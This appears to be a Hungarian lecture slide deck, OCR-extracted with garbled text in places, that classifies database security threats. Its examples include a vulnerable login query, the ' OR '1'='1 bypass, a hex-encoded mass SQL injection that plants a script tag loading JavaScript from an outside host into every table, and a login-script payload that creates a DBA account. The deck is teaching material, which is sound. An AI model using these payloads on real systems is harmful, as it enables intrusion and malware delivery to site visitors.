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Eldadas tartalma

m Adatbazis biztonsaggal kapcsolatos
fogalmak ertelmezese

m Rendszertani alapok

m Rendszerezési kategoriak az adatbazis
fenyegetések eseteben

m Jellegzetes adatbazis fenyegetések
0sszegyujtése a tamadas pontja szerint



"
Bevezeto fogalmak

m Adatbazisok fenyegetettsegei
m Adatbazisok sebezhetoségei: a biztonsag
alanyanak tulajdonsaga, hianyossaga

m Adatbazis-biztonsag fogalma

Biztonsag: allapot, a lehetseges fenyegetd hatasok
elleni, megkivant merteku vedettseg

Biztonsag alanya
Védendo tulajdonsagai



"
Bevezeto fogalmak

m Adatbazis-biztonsag alanya (a fenyegetések
altal veszelyeztetett objektum)
Adatbazisokban tarolt adatok (szlk értelmezés)
+ ABKR (tag ertelmezés)
m Adatbazis-biztonsag alanyanak védendo
tulajdonsagai

Adatok: sértetlenseg, rendelkezésre allas,
bizalmassag, (letagadhatatlansag, hitelesség)

ABKR: sértetlenség, rendelkezesre allas



Rendszertanok alapjal

m Cel: egy adott szakterulet
(tudomanyterulet) objektumainak
szambaveétele és besorolasa valamely
kategoriaba

m Rendszertan kovetelmeényei

Rendszerezend6 objektumok meghatarozasa
Besorolasi szempontok
Egyertelml besorolhatdsag



Egy lehetseges architektura
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Kategorizalasi szempontrendszerek |.

m A tamado adatbazishoz valo viszonya szerint
Kuls6 tamadas
Bels6 tamadas

m A tamado indittatasa szerint
Szandékos
Veéletlen



"
Kategorizalasi
szempontrendszerek Il.

m A tamadas altal sérult biztonsagi
tulajdonsagok szerint
Adat sertetlensege
Adat rendelkezésre allasa
Adat bizalmassaga
ABKR sértetlensege
ABKR rendelkezesre allasa



"
Kategorizalasi
szempontrendszerek lll.

m A tamadas helye szerint
Halozat
Alkalmazas
Platform (hardver, szoftver)
Adatbazis
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A tamadas helye az
architekturaban
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"
Jellegzetes halozat
fenyegetések

m Technikak:

Halozati adatforgalom lehallgatasa

Forrascim meghamisitasaval beekelodeses
tamadas

Szolgaltatas megtagadasa (DoS) tipusu tamadas
(ABKR ellen, pl. SYN csomagok elarasztasaval)
Puffer tulcsordulas

m Halbzati-szallitasi reteg fenyegetesei
m Adatbazis halozati (kommunikacios) protokollok
fenyegetesei
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Adatbazis kommunikacios

protokolljanak tamadasa

Adatbazis kliens Adatbazis szerver
m Uzenetek
Kliens program Adatbazis szerver program Ie h al Ig atésa
Adatbazis Adatbazis -
kommunikacios protokoll kommunikacios protokoll . U Ze n et
""""""""""""""""""""""""""""""""""" strukturajanak,
Szallitasi réteg (pl. TCP) Szallitasi réteg (pl. TCP) mezé
Halozati réteg (pl. IP) Halozati réteg (pl. IP) meretene k,
— — tartalmanak
Fizikai réteg ’ Fizikai réteg , ,
megvaltoztatasa




"
Jellegzetes alkalmazas
fenyegetesek

m Puffer tulcsordulas
m SQL injekcid
m XSS
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SQL injekcioé — példa:

m Hitelesites kijatszasa e ihim e Al i,
Bejelentkezés
az alkalmazasba

Biztonsdagos belépés
Sérulékeny kodrészlet: Belépes

Jelszo:

SqlQry = "SELECT * FROM Users WHERE Username = ™
& Request.QueryString("User") & " " AND Password =" &
Request.QueryString("Pass") & " “ ";

LoginRS.Open SqglQry, MyConn;

If LoginRS.EOF Then Response . Write("Invalid Login");
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SQL injekcid

O J(’)hiszemg’] felhnasznald: John felhasznald
nev + Smith jelszo

SELECT * FROM Users WHERE Username
= ‘John’” AND Password = ‘Smith’

m Rosszhiszem felhasznalo: John
felhasznalo nev + X' OR "1'="1 jelszo6

SELECT * FROM Users WHERE Username = ‘John’ AND
Password = ‘X’ OR “1'="1’
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XSS tamadas

m Tipikusan web alkalmazasok
serulekenysegeét hasznalja
m Rosszindulatu web-felhasznal6 kartékony

kodot illeszt weblapra, amit mas
felhasznalo is lat

m Peldaul: HTML kod vagy kliens oldali
script



"
XSS és SQL injekcido kombinalasa
m Legitim link helyett

http://www.domain.com/fileName.cfm?variable1=0&variable2=4241

m Hacked link hasznalata
http://www.domain.com/folderName/filename.cfm?
variable1=0&variable2=4241:DECLARE%20@S%20CHAR(4000);SET%20@S
=CAST(0x4445434C41524520405420766172636861722 8323535292C404
32076617263686172283430303029204445434C415245205461626C655F437
572736F7220435552534F522 0464F522073656C65637420612E6E
616D652C622E6E616D652066726F6D207379736F626A65637473206

A hozzaf(izott rész hexadecimalis, az SQL
szerver ertelmezni tudja, a generalt kod a
kovetkezo:
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DECLARE @T VARCHAR(255),@C VARCHAR(4000)
DECLARE Table Cursor CURSOR FOR SELECT
a.name,b.name FROM sysobjects a,syscolumns b WHERE
a.1d=b.1d AND a.xtype="u' AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167) OPEN Table Cursor
FETCH NEXT FROM Table Cursor INTO @T,@C
WHILE(w@@FETCH STATUS=0) BEGIN EXEC('update
[H@T+'] set [+H@CH'=[+@CH'H""></title> <script
src="http://1.verynx.cn/w.js"></script><!--" where +@C+'
not like "%"></title> <script
src="http://1.verynx.cn/w.js"></script><!--"") FETCH NEXT
FROM Table Cursor INTO @T,@C END CLOSE

Table Cursor DEALLOCATE Table Cursor




XSS és SQL injection kombinalasa

m Ha az AB felhasznalo eléri a rendszer tablakat, akkor
abbdl kigyujti az adatbazis tablait, majd a kovetkez0
kodot szurja be az 0sszes tabla sztring alapu
oszlopaba:

<[title><script src="http://1.verynx.cn/w.js"></script><!—

m Az aldozatok bongészojeben pedig lefut a
megadott javascript.



"
Jellegzetes platformot érinto
fenyegetesek

m Operacios rendszer puffer tulcsordulason
keresztuli fenyegetése

m Operacios rendszer allomanyainak nem
megfelel6 vedelme (jogosultsagok hibas
beallitasa)

ABKR login szkriptje
AB mentéseket tartalmazo fajlok



Login szkript tamadasa

set term off

create user hacker identified by hacker;
grant dba to hacker;

set term on



"
Jellegzetes adatbazis
fenyegetések

m ABKR rossz konfiguraciojara epito fenyegetés
m ABKR rossz Uzemeltetesere epitd fenyegetes
m ABKR hitelesitési mechanizmusanak
fenyegetése
m Adatbazisok tarolt eljarasainak serulékenyseget
kihasznalo fenyegetés
Puffer tulcsordulas
SQL injekcid
m Adatbazis jogosultsagok rossz beallitasa



Osszefoglalas

m Tamadasi pont helye szerinti
rendszerezés a védelem megtervezeset is
seqgiti

m Adatbazis-biztonsag megvalositasat
hatekonyan szolgalja, ha tudjuk, hol kell
potencialis veszelyre szamitani



Koszonom a figyelmet!



